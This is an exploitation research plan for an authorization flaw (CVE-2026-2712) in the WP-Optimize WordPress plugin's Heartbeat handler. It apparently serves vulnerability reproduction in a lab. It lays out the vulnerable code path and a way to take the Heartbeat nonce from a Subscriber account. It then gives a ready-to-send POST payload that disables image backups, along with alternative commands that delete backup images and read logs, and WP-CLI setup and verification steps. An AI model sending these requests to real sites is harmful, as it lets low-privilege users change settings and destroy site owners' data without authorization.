Exploitation Research Plan: CVE-2026-2712

1. Vulnerability Summary

The WP-Optimize plugin (up to version 4.5.0) contains an Incorrect Authorization vulnerability in its Heartbeat API integration. Specifically, the receive_heartbeat() function in includes/class-wp-optimize-heartbeat.php fails to perform capability checks (current_user_can) or verify security nonces before executing commands intended for administrators.

The Heartbeat handler acts as a proxy, directly invoking methods in the Updraft_Smush_Manager_Commands class. While the standard AJAX handler (updraft_smush_ajax) properly restricts access, this Heartbeat-based entry point is accessible to any authenticated user, including those with Subscriber-level permissions. This allows an attacker to manipulate image optimization settings, delete backup images, and view logs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: heartbeat
• Method: POST
• Authentication: Required (Subscriber+)
• Vulnerable Hook: heartbeat_received (Filter)
• Vulnerable File: includes/class-wp-optimize-heartbeat.php
• Vulnerable Function: receive_heartbeat()
• Impact: Unauthorized modification of plugin settings (update_smush_options), deletion of data (clean_all_backup_images), and information disclosure (get_smush_logs).

3. Code Flow

1. Entry Point: A user logged into WordPress (even as a Subscriber) triggers a Heartbeat request. This is a standard POST request to admin-ajax.php with action=heartbeat.
2. Hook Execution: WordPress triggers the heartbeat_received filter.
3. Vulnerable Handler: WP_Optimize_Heartbeat::receive_heartbeat($response, $data) is invoked.
4. Logic Path:
   • The function checks if $data['wp-optimize'] is present.
   • It iterates through the provided commands in the data.
   • It directly calls methods in Updraft_Smush_Manager_Commands based on the input.
   • Critical Failure: There is no check for manage_options capability or a specific WP-Optimize nonce inside this specific Heartbeat flow.
5. Sink: The call reaches Updraft_Smush_Manager_Commands::update_smush_options(), which updates the updraft_smush_options row in the wp_options table.

4. Nonce Acquisition Strategy

The WordPress Heartbeat API requires a standard WordPress Heartbeat nonce. This nonce is available to all logged-in users.

1. Access Site: Use a Subscriber-level user to log in.
2. Retrieve Nonce: Navigate to any admin page (e.g., /wp-admin/profile.php). The Heartbeat nonce is localized by WordPress core.
3. Browser Eval:

   // The Heartbeat nonce is typically stored in the heartbeatSettings object
   window.heartbeatSettings?.nonce
   

4. Verification: Confirm the nonce is a 10-character hexadecimal string.

5. Exploitation Strategy

Goal: Unauthorized Modification of Plugin Settings

We will attempt to disable image backups using the update_smush_options command.

1. Preparation: Log in as a Subscriber.
2. Identify Target Command: update_smush_options.
3. Construct Payload:
   The Heartbeat request expects a data parameter containing a JSON object or array.
   • action: heartbeat
   • screen_id: profile (or any valid admin screen)
   • _nonce: [Heartbeat Nonce]
   • data[wp-optimize][smush][command]: update_smush_options
   • data[wp-optimize][smush][data][options]: A JSON object representing the new settings (e.g., setting backup to false).

Request Construction (using http_request)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=heartbeat&screen_id=profile&_nonce=[NONCE]&data%5Bwp-optimize%5D%5Bsmush%5D%5Bcommand%5D=update_smush_options&data%5Bwp-optimize%5D%5Bsmush%5D%5Bdata%5D%5Boptions%5D%5Bbackup%5D=0

Note: The exact structure of the data array may require slight adjustment based on how the plugin parses the nested array in receive_heartbeat().

6. Test Data Setup

1. Install WP-Optimize: Ensure version 4.5.0 is installed.
2. Configure Smush: Ensure Smush is enabled in the admin settings.
3. Verify Current State: Run wp option get updraft_smush_options and note that backup is likely 1 (true).
4. Create Attacker: wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.

7. Expected Results

• Response: The HTTP response will be a JSON object containing Heartbeat data. If successful, it might include a confirmation from the Smush command class within the wp-optimize key.
• Side Effect: The updraft_smush_options entry in the database will be modified.

8. Verification Steps

1. Check Options via CLI:

   wp option get updraft_smush_options --format=json
   

   Verify that the backup field (or the target field used in the payload) has changed from its original value to 0.
2. Check Logs (Optional):
   Attempt to use the same method with the get_smush_logs command to see if logs are returned in the Heartbeat response:

   data[wp-optimize][smush][command]=get_smush_logs
   

9. Alternative Approaches

If update_smush_options requires a more complex payload, try clean_all_backup_images. This command is often a simple string without additional data parameters.

Payload for Backup Deletion:

• data[wp-optimize][smush][command]: clean_all_backup_images

Verification for Backup Deletion:

1. Upload an image and smush it so a backup is created in wp-content/uploads/wpo-plugins-tables-list.json or the relevant backup directory.
2. Run the exploit.
3. Check if the backup files or the backup record is removed.